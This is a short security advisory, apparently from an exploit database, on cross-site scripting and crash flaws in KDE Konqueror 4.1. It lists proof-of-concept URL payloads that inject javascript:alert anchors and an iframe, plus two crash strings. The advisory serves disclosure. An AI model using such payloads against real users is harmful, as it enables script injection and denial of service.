KDE Konqueror 4.1 Multiple Cross-Site Scripting and Denial of Service Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

KDE Konqueror 4.1 Multiple Cross-Site Scripting and Denial of Service Vulnerabilitie


                                                source: http://www.securityfocus.com/bid/33085/info

KDE Konqueror is prone to multiple cross-site scripting vulnerabilities and multiple denial-of-service vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, or cause the affected browser to crash.

KDE Konqueror 4.1 is vulnerable; other versions may also be affected.

applications:/&#60;a href=&#34;javascript:alert(1)&#34;&#62;Here&#60;/a&#62;
trash:/&#60;a href=&#34;javascript:alert(1)&#34;&#62;Here&#60;/a&#62;       
remote:/&#60;a href=&#34;javascript:alert(1)&#34;&#62;Here&#60;/a&#62;      
applications:/&#60;font size=&#34;8&#34;&#62;THE GAME&#60;/font&#62;        
applications:/&#60;iframe src=&#34;http://milw0rm.com&#34;&#62;                          
remote://crash:konqueror@                           
applications://crash:konqueror@

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1